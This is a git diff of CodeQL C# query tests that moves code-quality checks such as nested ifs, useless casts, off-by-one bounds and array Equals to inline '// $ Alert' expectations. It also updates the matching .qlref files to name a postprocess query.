b/csharp/ql/test/query-tests/Language Abuse/NestedIf/NestedIf.qlref index c3c2012be180..19cd4d8ca684 100644 --- a/csharp/ql/test/query-tests/Language Abuse/NestedIf/NestedIf.qlref +++ b/csharp/ql/test/query-tests/Language Abuse/NestedIf/NestedIf.qlref @@ -1 +1,2 @@ -Language Abuse/NestedIf.ql \ No newline at end of file +query: Language Abuse/NestedIf.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Language Abuse/NestedIf/nestedif.cs b/csharp/ql/test/query-tests/Language Abuse/NestedIf/nestedif.cs index 733325d2c597..bb59facd9c89 100644 --- a/csharp/ql/test/query-tests/Language Abuse/NestedIf/nestedif.cs +++ b/csharp/ql/test/query-tests/Language Abuse/NestedIf/nestedif.cs @@ -5,10 +5,10 @@ class NestedIf void fn() { // BAD: - if (true) if (false) return; + if (true) if (false) return; // $ Alert // BAD - if (true) if (false) if (true) return; + if (true) if (false) if (true) return; // $ Alert // BAD: using braces if (true) @@ -18,7 +18,7 @@ void fn() { } } - } + } // $ Alert // GOOD: contains else part if (true) diff --git a/csharp/ql/test/query-tests/Language Abuse/RethrowException/RethrowException.cs b/csharp/ql/test/query-tests/Language Abuse/RethrowException/RethrowException.cs index ee7cf41a0a21..46a42769944a 100644 --- a/csharp/ql/test/query-tests/Language Abuse/RethrowException/RethrowException.cs +++ b/csharp/ql/test/query-tests/Language Abuse/RethrowException/RethrowException.cs @@ -9,7 +9,7 @@ static void Main(string[] args) } catch (Exception e) { - throw e; // BAD + throw e; // BAD // $ Alert } try @@ -18,7 +18,7 @@ static void Main(string[] args) catch (Exception e) { if (true) - throw e; // BAD + throw e; // BAD // $ Alert } try diff --git a/csharp/ql/test/query-tests/Language Abuse/RethrowException/RethrowException.qlref b/csharp/ql/test/query-tests/Language Abuse/RethrowException/RethrowException.qlref index b406a8b5fccd..1f83a6b74e62 100644 --- a/csharp/ql/test/query-tests/Language Abuse/RethrowException/RethrowException.qlref +++ b/csharp/ql/test/query-tests/Language Abuse/RethrowException/RethrowException.qlref @@ -1 +1,2 @@ -Language Abuse/RethrowException.ql \ No newline at end of file +query: Language Abuse/RethrowException.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Language Abuse/SimplifyBoolExpr/SimplifyBoolExpr.cs b/csharp/ql/test/query-tests/Language Abuse/SimplifyBoolExpr/SimplifyBoolExpr.cs index 5ea4c8c15cf5..175507010a13 100644 --- a/csharp/ql/test/query-tests/Language Abuse/SimplifyBoolExpr/SimplifyBoolExpr.cs +++ b/csharp/ql/test/query-tests/Language Abuse/SimplifyBoolExpr/SimplifyBoolExpr.cs @@ -6,36 +6,36 @@ void Fn() bool b = false; int x = 0, y = 0; - if (b == true) ; - if (b == false) ; - if (true == b) ; - if (false == b) ; - if (b != true) ; - if (b != false) ; - if (true != b) ; - if (false != b) ; - if (b && true) ; - if (b && false) ; - if (true && b) ; - if (false && b) ; - if (b || true) ; - if (b || false) ; - if (true || b) ; - if (false || b) ; - if (!(x == y)) ; - if (!(x != y)) ; - if (!(x < y)) ; - if (!(x <= y)) ; - if (!(x >= y)) ; - if (!(x > y)) ; - if (b ? true : false) ; - if (b ? true : true) ; - if (b ? false : true) ; - if (b ? true : true) ; - if (b ? b : false) ; - if (b ? b : true) ; - if (b ? false : b) ; - if (b ? true : b) ; + if (b == true) ; // $ Alert + if (b == false) ; // $ Alert + if (true == b) ; // $ Alert + if (false == b) ; // $ Alert + if (b != true) ; // $ Alert + if (b != false) ; // $ Alert + if (true != b) ; // $ Alert + if (false != b) ; // $ Alert + if (b && true) ; // $ Alert + if (b && false) ; // $ Alert + if (true && b) ; // $ Alert + if (false && b) ; // $ Alert + if (b || true) ; // $ Alert + if (b || false) ; // $ Alert + if (true || b) ; // $ Alert + if (false || b) ; // $ Alert + if (!(x == y)) ; // $ Alert + if (!(x != y)) ; // $ Alert + if (!(x < y)) ; // $ Alert + if (!(x <= y)) ; // $ Alert + if (!(x >= y)) ; // $ Alert + if (!(x > y)) ; // $ Alert + if (b ? true : false) ; // $ Alert + if (b ? true : true) ; // $ Alert + if (b ? false : true) ; // $ Alert + if (b ? true : true) ; // $ Alert + if (b ? b : false) ; // $ Alert + if (b ? b : true) ; // $ Alert + if (b ? false : b) ; // $ Alert + if (b ? true : b) ; // $ Alert // BAD if (true ? b : b) ; diff --git a/csharp/ql/test/query-tests/Language Abuse/SimplifyBoolExpr/SimplifyBoolExpr.qlref b/csharp/ql/test/query-tests/Language Abuse/SimplifyBoolExpr/SimplifyBoolExpr.qlref index 27f8ee90aa90..222fc236213b 100644 --- a/csharp/ql/test/query-tests/Language Abuse/SimplifyBoolExpr/SimplifyBoolExpr.qlref +++ b/csharp/ql/test/query-tests/Language Abuse/SimplifyBoolExpr/SimplifyBoolExpr.qlref @@ -1 +1,2 @@ -Language Abuse/SimplifyBoolExpr.ql \ No newline at end of file +query: Language Abuse/SimplifyBoolExpr.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Language Abuse/SimplifyBoolExpr/SimplifyBoolExprBad.cs b/csharp/ql/test/query-tests/Language Abuse/SimplifyBoolExpr/SimplifyBoolExprBad.cs index e65c2a88fbf7..89e72c2780ab 100644 --- a/csharp/ql/test/query-tests/Language Abuse/SimplifyBoolExpr/SimplifyBoolExprBad.cs +++ b/csharp/ql/test/query-tests/Language Abuse/SimplifyBoolExpr/SimplifyBoolExprBad.cs @@ -2,7 +2,7 @@ class Bad { int Size { get; set; } - bool Espresso => !(Size > 4); - bool Latte => Espresso == false && Size <= 8; - bool Grande => Espresso == false ? Latte != true : false; + bool Espresso => !(Size > 4); // $ Alert + bool Latte => Espresso == false && Size <= 8; // $ Alert + bool Grande => Espresso == false ? Latte != true : false; // $ Alert } diff --git a/csharp/ql/test/query-tests/Language Abuse/UselessCastToSelf/UselessCastToSelf.cs b/csharp/ql/test/query-tests/Language Abuse/UselessCastToSelf/UselessCastToSelf.cs index e3aa1ad3067c..e39cd89f15c1 100644 --- a/csharp/ql/test/query-tests/Language Abuse/UselessCastToSelf/UselessCastToSelf.cs +++ b/csharp/ql/test/query-tests/Language Abuse/UselessCastToSelf/UselessCastToSelf.cs @@ -6,11 +6,11 @@ class Test void f() { // BAD - var bad1 = (int)1; - var bad2 = (Test)this; - var bad3 = this as Test; + var bad1 = (int)1; // $ Alert + var bad2 = (Test)this; // $ Alert + var bad3 = this as Test; // $ Alert func = (Func)(x => x); // MISSING - exprFunc = (Expression>)(x => x); + exprFunc = (Expression>)(x => x); // $ Alert // GOOD var good1 = (object)1; @@ -22,16 +22,16 @@ void f() var good7 = (Action)((int x) => { }); func = x => x; exprFunc = x => x; - exprFuncUntyped = (Expression>)(x => x); // FP + exprFuncUntyped = (Expression>)(x => x); // FP // $ Alert } enum Enum { A = 2, B = 1 | A, - C = 1 | (int)A, // BAD + C = 1 | (int)A, // BAD // $ Alert D = 9 | (32 << A), - E = 9 | (32 << (int)A) // BAD + E = 9 | (32 << (int)A) // BAD // $ Alert } private Func func; diff --git a/csharp/ql/test/query-tests/Language Abuse/UselessCastToSelf/UselessCastToSelf.qlref b/csharp/ql/test/query-tests/Language Abuse/UselessCastToSelf/UselessCastToSelf.qlref index 7a137fff0870..6e56b5c55af3 100644 --- a/csharp/ql/test/query-tests/Language Abuse/UselessCastToSelf/UselessCastToSelf.qlref +++ b/csharp/ql/test/query-tests/Language Abuse/UselessCastToSelf/UselessCastToSelf.qlref @@ -1 +1,2 @@ -Language Abuse/UselessCastToSelf.ql \ No newline at end of file +query: Language Abuse/UselessCastToSelf.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Language Abuse/UselessIsBeforeAs/UselessIsBeforeAs.cs b/csharp/ql/test/query-tests/Language Abuse/UselessIsBeforeAs/UselessIsBeforeAs.cs index af7d26c98f58..13893c684290 100644 --- a/csharp/ql/test/query-tests/Language Abuse/UselessIsBeforeAs/UselessIsBeforeAs.cs +++ b/csharp/ql/test/query-tests/Language Abuse/UselessIsBeforeAs/UselessIsBeforeAs.cs @@ -5,7 +5,7 @@ public object M(object x) if (x is string) { M(x as string); // GOOD - return (x as string) + " "; // BAD + return (x as string) + " "; // BAD // $ Alert } else { diff --git a/csharp/ql/test/query-tests/Language Abuse/UselessIsBeforeAs/UselessIsBeforeAs.qlref b/csharp/ql/test/query-tests/Language Abuse/UselessIsBeforeAs/UselessIsBeforeAs.qlref index 9a5a7fd703c1..3c499bb78025 100644 --- a/csharp/ql/test/query-tests/Language Abuse/UselessIsBeforeAs/UselessIsBeforeAs.qlref +++ b/csharp/ql/test/query-tests/Language Abuse/UselessIsBeforeAs/UselessIsBeforeAs.qlref @@ -1 +1,2 @@ -Language Abuse/UselessIsBeforeAs.ql +query: Language Abuse/UselessIsBeforeAs.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Language Abuse/UselessNullCoalescingExpression/UselessNullCoalescingExpression.cs b/csharp/ql/test/query-tests/Language Abuse/UselessNullCoalescingExpression/UselessNullCoalescingExpression.cs index f05782416fd5..b8dd096a0874 100644 --- a/csharp/ql/test/query-tests/Language Abuse/UselessNullCoalescingExpression/UselessNullCoalescingExpression.cs +++ b/csharp/ql/test/query-tests/Language Abuse/UselessNullCoalescingExpression/UselessNullCoalescingExpression.cs @@ -6,14 +6,14 @@ void Main(int? param) { int? a = 5, b; - a = a ?? a; // BAD - a = a ?? (b = a); // BAD - a = Prop ?? Prop; // BAD - a = param ?? param; // BAD - a = a ?? use(a); // BAD - a = Field ?? this.Field; // BAD - a ??= a; // BAD - a ??= b = a; // BAD + a = a ?? a; // BAD // $ Alert + a = a ?? (b = a); // BAD // $ Alert + a = Prop ?? Prop; // BAD // $ Alert + a = param ?? param; // BAD // $ Alert + a = a ?? use(a); // BAD // $ Alert + a = Field ?? this.Field; // BAD // $ Alert + a ??= a; // BAD // $ Alert + a ??= b = a; // BAD // $ Alert a = a ?? cache(ref a); // GOOD a = a ?? store(out a); // GOOD diff --git a/csharp/ql/test/query-tests/Language Abuse/UselessNullCoalescingExpression/UselessNullCoalescingExpression.qlref b/csharp/ql/test/query-tests/Language Abuse/UselessNullCoalescingExpression/UselessNullCoalescingExpression.qlref index 1eb957001c9e..1145cc6ae816 100644 --- a/csharp/ql/test/query-tests/Language Abuse/UselessNullCoalescingExpression/UselessNullCoalescingExpression.qlref +++ b/csharp/ql/test/query-tests/Language Abuse/UselessNullCoalescingExpression/UselessNullCoalescingExpression.qlref @@ -1 +1,2 @@ -Language Abuse/UselessNullCoalescingExpression.ql \ No newline at end of file +query: Language Abuse/UselessNullCoalescingExpression.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Language Abuse/UselessUpcast/UselessUpcast.cs b/csharp/ql/test/query-tests/Language Abuse/UselessUpcast/UselessUpcast.cs index 0ec950e836d3..dc9f4c184ad7 100644 --- a/csharp/ql/test/query-tests/Language Abuse/UselessUpcast/UselessUpcast.cs +++ b/csharp/ql/test/query-tests/Language Abuse/UselessUpcast/UselessUpcast.cs @@ -49,13 +49,13 @@ void Test1(string[] args) B b = new B(); object o; - o = (A)b; // BAD + o = (A)b; // BAD // $ Alert o = (B)b; // GOOD: Not an upcast b.M((A)b); // GOOD: Disambiguating method call - a.M1((A)b); // BAD + a.M1((A)b); // BAD // $ Alert a.M2((A)b); // GOOD: Disambiguating method call o = true ? (A)a : b; // GOOD: Needed for ternary @@ -64,7 +64,7 @@ void Test1(string[] args) Fn((A)b); // GOOD: Disambiguating method call - Fn2((A)b); // BAD + Fn2((A)b); // BAD // $ Alert ((I2)a).Foo(); // GOOD: Cast to an interface @@ -80,7 +80,7 @@ void Test1(string[] args) StaticMethods.M1((A)b); // GOOD: disambiguate targets from `StaticMethods` void M2(A _) { } - M2((A)b); // BAD: local functions cannot be overloaded + M2((A)b); // BAD: local functions cannot be overloaded // $ Alert } static void M2(A _) { } @@ -89,7 +89,7 @@ void Test2(B b) { // BAD: even though `StaticMethods` has an `M2`, only overloads in // `Tests` are taken into account - M2((A)b); + M2((A)b); // $ Alert } class Nested @@ -100,7 +100,7 @@ static void Test(C c) { // BAD: even though `StaticMethods` and `Tests` have `M2`s, only // overloads in `Nested` are taken into account - M2((B)c); + M2((B)c); // $ Alert } } } @@ -155,11 +155,11 @@ public Sub(Sub s) : base((I1)s) { } // GOOD class SubSub : Sub { - SubSub(SubSub ss) : base((Sub)ss) { } // BAD + SubSub(SubSub ss) : base((Sub)ss) { } // BAD // $ Alert void M(SubSub ss) { - new Sub((Sub)ss); // BAD + new Sub((Sub)ss); // BAD // $ Alert } } diff --git a/csharp/ql/test/query-tests/Language Abuse/UselessUpcast/UselessUpcast.qlref b/csharp/ql/test/query-tests/Language Abuse/UselessUpcast/UselessUpcast.qlref index f0a49b78b14b..d48a3f989428 100644 --- a/csharp/ql/test/query-tests/Language Abuse/UselessUpcast/UselessUpcast.qlref +++ b/csharp/ql/test/query-tests/Language Abuse/UselessUpcast/UselessUpcast.qlref @@ -1 +1,2 @@ -Language Abuse/UselessUpcast.ql \ No newline at end of file +query: Language Abuse/UselessUpcast.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Language Abuse/UselessUpcast/UselessUpcastBad.cs b/csharp/ql/test/query-tests/Language Abuse/UselessUpcast/UselessUpcastBad.cs index c69db3104fb1..f3c20dc5d574 100644 --- a/csharp/ql/test/query-tests/Language Abuse/UselessUpcast/UselessUpcastBad.cs +++ b/csharp/ql/test/query-tests/Language Abuse/UselessUpcast/UselessUpcastBad.cs @@ -6,6 +6,6 @@ class Sub : Super {} void M() { var sub = new Sub(); - Super super = (Super)sub; + Super super = (Super)sub; // $ Alert } } diff --git a/csharp/ql/test/query-tests/Likely Bugs/BadCheckOdd/BadCheckOdd.cs b/csharp/ql/test/query-tests/Likely Bugs/BadCheckOdd/BadCheckOdd.cs index c5e87a4ed1e6..5bdfc4d6b512 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/BadCheckOdd/BadCheckOdd.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/BadCheckOdd/BadCheckOdd.cs @@ -14,13 +14,13 @@ static void Main(string[] args) int a = 2; // BAD - if (a % 2 == 1) + if (a % 2 == 1) // $ Alert Console.Out.WriteLine("a is odd"); - if (a % 2 != 1) + if (a % 2 != 1) // $ Alert Console.Out.WriteLine("a is even"); - if (a % 2 > 0) + if (a % 2 > 0) // $ Alert Console.Out.WriteLine("a is odd"); - if ((a % 2) > 0) + if ((a % 2) > 0) // $ Alert Console.Out.WriteLine("a is odd"); // GOOD diff --git a/csharp/ql/test/query-tests/Likely Bugs/BadCheckOdd/BadCheckOdd.qlref b/csharp/ql/test/query-tests/Likely Bugs/BadCheckOdd/BadCheckOdd.qlref index 759b3f4ab230..b65ba073c357 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/BadCheckOdd/BadCheckOdd.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/BadCheckOdd/BadCheckOdd.qlref @@ -1 +1,2 @@ -Likely Bugs/BadCheckOdd.ql \ No newline at end of file +query: Likely Bugs/BadCheckOdd.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Likely Bugs/Collections/ContainerLengthCmpOffByOne/ContainerLengthCmpOffByOne.cs b/csharp/ql/test/query-tests/Likely Bugs/Collections/ContainerLengthCmpOffByOne/ContainerLengthCmpOffByOne.cs index d68bbfc274ec..a3266b494e8d 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/Collections/ContainerLengthCmpOffByOne/ContainerLengthCmpOffByOne.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/Collections/ContainerLengthCmpOffByOne/ContainerLengthCmpOffByOne.cs @@ -5,13 +5,13 @@ class Test void Test1(string[] args) { // BAD: Loop upper bound is off-by-one - for (int i = 0; i <= args.Length; i++) + for (int i = 0; i <= args.Length; i++) // $ Alert { Console.WriteLine(args[i]); } // BAD: Loop upper bound is off-by-one - for (int i = 0; args.Length >= i; i++) + for (int i = 0; args.Length >= i; i++) // $ Alert { Console.WriteLine(args[i]); } @@ -24,13 +24,13 @@ void Test1(string[] args) int j = 0; // BAD: Off-by-one on index validity check - if (j <= args.Length) + if (j <= args.Length) // $ Alert { Console.WriteLine(args[j]); } // BAD: Off-by-one on index validity check - if (args.Length >= j) + if (args.Length >= j) // $ Alert { Console.WriteLine(args[j]); } diff --git a/csharp/ql/test/query-tests/Likely Bugs/Collections/ContainerLengthCmpOffByOne/ContainerLengthCmpOffByOne.qlref b/csharp/ql/test/query-tests/Likely Bugs/Collections/ContainerLengthCmpOffByOne/ContainerLengthCmpOffByOne.qlref index 637dac3c9b85..ce56c59063f7 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/Collections/ContainerLengthCmpOffByOne/ContainerLengthCmpOffByOne.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/Collections/ContainerLengthCmpOffByOne/ContainerLengthCmpOffByOne.qlref @@ -1 +1,2 @@ -Likely Bugs/Collections/ContainerLengthCmpOffByOne.ql \ No newline at end of file +query: Likely Bugs/Collections/ContainerLengthCmpOffByOne.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Likely Bugs/Collections/ContainerSizeCmpZero/ContainerSizeCmpZero.cs b/csharp/ql/test/query-tests/Likely Bugs/Collections/ContainerSizeCmpZero/ContainerSizeCmpZero.cs index 1fb70bd8dff2..0713bb1bac92 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/Collections/ContainerSizeCmpZero/ContainerSizeCmpZero.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/Collections/ContainerSizeCmpZero/ContainerSizeCmpZero.cs @@ -29,16 +29,16 @@ static void Main(string[] args) // Arrays // NOT OK: always true - b = args.Length >= 0; + b = args.Length >= 0; // $ Alert // NOT OK: always true - b = 0 <= args.Length; + b = 0 <= args.Length; // $ Alert // NOT OK: always false - b = args.Length < 0; + b = args.Length < 0; // $ Alert // NOT OK: always false - b = 0 > args.Length; + b = 0 > args.Length; // $ Alert // OK: sometimes could be false b = args.Length > 0; @@ -58,12 +58,12 @@ static void Main(string[] args) var ys = new Stack(); // NOT OK - b = xs.Count >= 0; - b = 0 <= xs.Count; - b = 0 <= ys.Count; + b = xs.Count >= 0; // $ Alert + b = 0 <= xs.Count; // $ Alert + b = 0 <= ys.Count; // $ Alert - b = xs.Count < 0; - b = 0 > ys.Count; + b = xs.Count < 0; // $ Alert + b = 0 > ys.Count; // $ Alert // OK b = xs.Count >= -1; @@ -74,15 +74,15 @@ static void Main(string[] args) ///////// // missed in java, but not here - b = xs.Count >= (short)0; - b = xs.Count >= (byte)0; + b = xs.Count >= (short)0; // $ Alert + b = xs.Count >= (byte)0; // $ Alert ///////// // missed cases // NOT OK - b = xs.Count >= 0 + 0; - b = xs.Count >= 0 - 0; + b = xs.Count >= 0 + 0; // $ Alert + b = xs.Count >= 0 - 0; // $ Alert b = args.LongLength >= 0L; @@ -91,24 +91,24 @@ static void Main(string[] args) var zs = new MyList>(); // NOT OK - b = zs.Count >= 0; - b = zs.Count < 0; + b = zs.Count >= 0; // $ Alert + b = zs.Count < 0; // $ Alert // NOT OK - b = zs[0].Count >= 0; + b = zs[0].Count >= 0; // $ Alert // NOT OK - b = zs[0][0].Length >= 0; + b = zs[0][0].Length >= 0; // $ Alert ///////// // Dictionaries var ws = new Dictionary(); // NOT OK: Always true - b = ws.Count >= 0; + b = ws.Count >= 0; // $ Alert // NOT OK: Always true - b = 0 <= ws.Count; + b = 0 <= ws.Count; // $ Alert // OK: can be false b = ws.Count >= -1; @@ -123,12 +123,12 @@ static void Main(string[] args) var vs = new System.Collections.BitArray(1); // NOT OK: Always true - b = us.Count >= 0; - b = 0 > vs.Count; + b = us.Count >= 0; // $ Alert + b = 0 > vs.Count; // $ Alert // NOT OK: Always true - b = 0 <= us.Count; - b = vs.Count < 0; + b = 0 <= us.Count; // $ Alert + b = vs.Count < 0; // $ Alert // OK: can be false b = us.Count >= -1; @@ -144,13 +144,13 @@ static bool ReadOnlyCollection(IReadOnlyCollection xs, IReadOnlyList= 0; - b = 0 <= xs.Count; - b = 0 <= ys.Count; + b = xs.Count >= 0; // $ Alert + b = 0 <= xs.Count; // $ Alert + b = 0 <= ys.Count; // $ Alert - b = xs.Count < 0; - b = ys.Count < 0; - b = 0 > xs.Count; + b = xs.Count < 0; // $ Alert + b = ys.Count < 0; // $ Alert + b = 0 > xs.Count; // $ Alert return b; } @@ -158,6 +158,6 @@ static bool ReadOnlyCollection(IReadOnlyCollection xs, IReadOnlyList c) { Debug.Assert(c.Count >= 0); // OK - return c.Count >= 0; // NOT OK + return c.Count >= 0; // NOT OK // $ Alert } } diff --git a/csharp/ql/test/query-tests/Likely Bugs/Collections/ContainerSizeCmpZero/ContainerSizeCmpZero.qlref b/csharp/ql/test/query-tests/Likely Bugs/Collections/ContainerSizeCmpZero/ContainerSizeCmpZero.qlref index 17c0434a3a81..92952b25bdb6 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/Collections/ContainerSizeCmpZero/ContainerSizeCmpZero.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/Collections/ContainerSizeCmpZero/ContainerSizeCmpZero.qlref @@ -1 +1,2 @@ -Likely Bugs/Collections/ContainerSizeCmpZero.ql \ No newline at end of file +query: Likely Bugs/Collections/ContainerSizeCmpZero.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Likely Bugs/DangerousNonShortCircuitLogic/DangerousNonShortCircuitLogic.cs b/csharp/ql/test/query-tests/Likely Bugs/DangerousNonShortCircuitLogic/DangerousNonShortCircuitLogic.cs index 0d10e11b7f63..40a1a3766926 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/DangerousNonShortCircuitLogic/DangerousNonShortCircuitLogic.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/DangerousNonShortCircuitLogic/DangerousNonShortCircuitLogic.cs @@ -12,10 +12,10 @@ void M() if (c != null ^ this.Field > 0) ; // GOOD if (c != null && c.Field > 0) ; // GOOD - if (c != null & c.Field > 0) ; // BAD - if (c == null | c.Property == "") ; // BAD - if (c == null | c[0]) ; // BAD - if (c == null | c.Method()) ; // BAD + if (c != null & c.Field > 0) ; // BAD // $ Alert + if (c == null | c.Property == "") ; // BAD // $ Alert + if (c == null | c[0]) ; // BAD // $ Alert + if (c == null | c.Method()) ; // BAD // $ Alert var b = true; b &= c.Method(); // GOOD diff --git a/csharp/ql/test/query-tests/Likely Bugs/DangerousNonShortCircuitLogic/DangerousNonShortCircuitLogic.qlref b/csharp/ql/test/query-tests/Likely Bugs/DangerousNonShortCircuitLogic/DangerousNonShortCircuitLogic.qlref index 6e192b5b73f1..c150d5b2bd61 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/DangerousNonShortCircuitLogic/DangerousNonShortCircuitLogic.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/DangerousNonShortCircuitLogic/DangerousNonShortCircuitLogic.qlref @@ -1 +1,2 @@ -Likely Bugs/DangerousNonShortCircuitLogic.ql \ No newline at end of file +query: Likely Bugs/DangerousNonShortCircuitLogic.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Likely Bugs/Dynamic/BadDynamicCall.qlref b/csharp/ql/test/query-tests/Likely Bugs/Dynamic/BadDynamicCall.qlref index e9490e9041ad..60268eb9d750 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/Dynamic/BadDynamicCall.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/Dynamic/BadDynamicCall.qlref @@ -1 +1,2 @@ -Likely Bugs/Dynamic/BadDynamicCall.ql \ No newline at end of file +query: Likely Bugs/Dynamic/BadDynamicCall.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Likely Bugs/Dynamic/dynamic.cs b/csharp/ql/test/query-tests/Likely Bugs/Dynamic/dynamic.cs index 66626400b902..06f18e05320f 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/Dynamic/dynamic.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/Dynamic/dynamic.cs @@ -43,17 +43,17 @@ void TestCall() x.M5(1, new string[1]); // These are BAD: - x.M1(1); - x.M2(); - x.M2("", 1); - x.M2(1, "", 2.0); - x.M3(); - x.M3(1, 2, 3, 4); - x.M4(); - x.M4(1, 2); - x.M4(""); - x.M4(1, new object[1]); - x.M6(); + x.M1(1); // $ Alert + x.M2(); // $ Alert + x.M2("", 1); // $ Alert + x.M2(1, "", 2.0); // $ Alert + x.M3(); // $ Alert + x.M3(1, 2, 3, 4); // $ Alert + x.M4(); // $ Alert + x.M4(1, 2); // $ Alert + x.M4(""); // $ Alert + x.M4(1, new object[1]); // $ Alert + x.M6(); // $ Alert // These are GOOD: x.M7(2); @@ -61,8 +61,8 @@ void TestCall() x.M5(1, new string[] { "abc" }, new string[] { "def" }); // These are BAD: - x.M7(2, "abc"); - x.M8(1, new string[] { "abc" }, new string[] { "def" }); + x.M7(2, "abc"); // $ Alert + x.M8(1, new string[] { "abc" }, new string[] { "def" }); // $ Alert // These are GOOD: if ("" + "" == "") ; @@ -73,7 +73,7 @@ void TestCall() d -= 10; // These are BAD: - x = x + x; + x = x + x; // $ Alert // These are GOOD: dynamic d2 = GetI(); @@ -81,7 +81,7 @@ void TestCall() // These are BAD: dynamic d3 = GetI(); - d3.M(); + d3.M(); // $ Alert // These are GOOD dynamic d4 = ""; diff --git a/csharp/ql/test/query-tests/Likely Bugs/EqualsArray/EqualsArray.cs b/csharp/ql/test/query-tests/Likely Bugs/EqualsArray/EqualsArray.cs index dba87ee0450c..1639ee8f8445 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/EqualsArray/EqualsArray.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/EqualsArray/EqualsArray.cs @@ -8,7 +8,7 @@ public class Test // NOT OK public bool AreTheseMyNumbers(int[] numbers) { - return this.numbers.Equals(numbers); + return this.numbers.Equals(numbers); // $ Alert } // OK @@ -20,13 +20,13 @@ public bool HonestAreTheseMyNumbers(int[] numbers) // NOT OK (string is also IEnumerable) public bool Incomparable(string s) { - return numbers.Equals(s); + return numbers.Equals(s); // $ Alert } // NOT OK public bool CollectionEquals(IEnumerable c1) { - return c1.Equals(c1); + return c1.Equals(c1); // $ Alert } class CollectionImplementingIEnumerable1 : IEnumerable @@ -84,7 +84,7 @@ public override bool Equals(object other) // NOT OK: Nothing overrides Equals() bool OverriddenEquals(CollectionImplementingIEnumerable1 c) { - return c.Equals(c); + return c.Equals(c); // $ Alert } // OK: ImplementEquals overrides Equals() diff --git a/csharp/ql/test/query-tests/Likely Bugs/EqualsArray/EqualsArray.qlref b/csharp/ql/test/query-tests/Likely Bugs/EqualsArray/EqualsArray.qlref index d96256b3b972..8e560893a1de 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/EqualsArray/EqualsArray.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/EqualsArray/EqualsArray.qlref @@ -1 +1,2 @@ -Likely Bugs/EqualsArray.ql \ No newline at end of file +query: Likely Bugs/EqualsArray.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Likely Bugs/EqualsUsesAs/EqualsUsesAs.cs b/csharp/ql/test/query-tests/Likely Bugs/EqualsUsesAs/EqualsUsesAs.cs index f50ada45a414..4a44b2ecbb86 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/EqualsUsesAs/EqualsUsesAs.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/EqualsUsesAs/EqualsUsesAs.cs @@ -2,7 +2,7 @@ public class Test1 { public override bool Equals(object other) { - var otherTest = other as Test1; // BAD + var otherTest = other as Test1; // BAD // $ Alert return otherTest != null; } } diff --git a/csharp/ql/test/query-tests/Likely Bugs/EqualsUsesAs/EqualsUsesAs.qlref b/csharp/ql/test/query-tests/Likely Bugs/EqualsUsesAs/EqualsUsesAs.qlref index e3ec94efc2c9..269ea2e6e511 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/EqualsUsesAs/EqualsUsesAs.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/EqualsUsesAs/EqualsUsesAs.qlref @@ -1 +1,2 @@ -Likely Bugs/EqualsUsesAs.ql \ No newline at end of file +query: Likely Bugs/EqualsUsesAs.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Likely Bugs/EqualsUsesIs/EqualsUsesIs.cs b/csharp/ql/test/query-tests/Likely Bugs/EqualsUsesIs/EqualsUsesIs.cs index 6e1db1bd05a2..356042e53893 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/EqualsUsesIs/EqualsUsesIs.cs +++ b/csharp/ql/test/query-tests/Likely Bugs/EqualsUsesIs/EqualsUsesIs.cs @@ -2,7 +2,7 @@ public class Test1 { public override bool Equals(object other) { - return other is Test1; // BAD + return other is Test1; // BAD // $ Alert } } diff --git a/csharp/ql/test/query-tests/Likely Bugs/EqualsUsesIs/EqualsUsesIs.qlref b/csharp/ql/test/query-tests/Likely Bugs/EqualsUsesIs/EqualsUsesIs.qlref index 04003a637c0b..cbff9b573dd6 100644 --- a/csharp/ql/test/query-tests/Likely Bugs/EqualsUsesIs/EqualsUsesIs.qlref +++ b/csharp/ql/test/query-tests/Likely Bugs/EqualsUsesIs/EqualsUsesIs.qlref @@ -1 +1,2 @@ -Likely Bugs/EqualsUsesIs.ql 